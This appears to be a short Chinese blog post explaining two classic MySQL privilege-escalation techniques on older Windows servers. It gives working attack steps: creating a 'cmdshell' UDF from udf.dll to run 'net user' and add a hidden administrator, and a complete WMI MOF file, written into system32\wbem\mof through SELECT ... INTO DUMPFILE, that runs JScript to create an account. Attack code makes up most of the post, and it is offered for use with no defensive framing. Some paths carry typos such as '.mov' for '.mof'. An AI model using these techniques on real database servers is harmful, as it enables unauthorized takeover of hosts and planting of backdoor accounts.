mysql两种经典提权方式

udf提权

条件:
1、系统版本(Windows2000,XP,Win2003);
2、拥有MYSQL的某个账号,且该账号具有对msql的insert与delete权限。
3、具有root账号密码
首先导出udf:
MYSQL5.1以上版本,需要把udf.dll文件存放到MSYSQL安装目录下的lib\plugin文件夹下。
在mysql命令行输入:

@@basedir
1
show variables like '%plugins%'

然后提权:

1
2
3
4
5
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user xxx xxx /add');
select cmdshell ('net localgroup administrators xxx /add');

drop function cmdshell;

**returns string soname ‘导出的DLL路径’

mof提权

以下为创建xxx用户的mof文件,使用sql执行load_file及into dumpfile 把文件导出到正确位置,执行即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxx xxx /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

执行sql命令:
select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov';

在可控数据库的情况下也可以直接写入:
select char(将上述exp asc编码写入) into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov';

以上均为新建账号,还需要修改代码将xxx用户加入administrators,重新写入一遍即可。

-------------本文结束感谢您的阅读-------------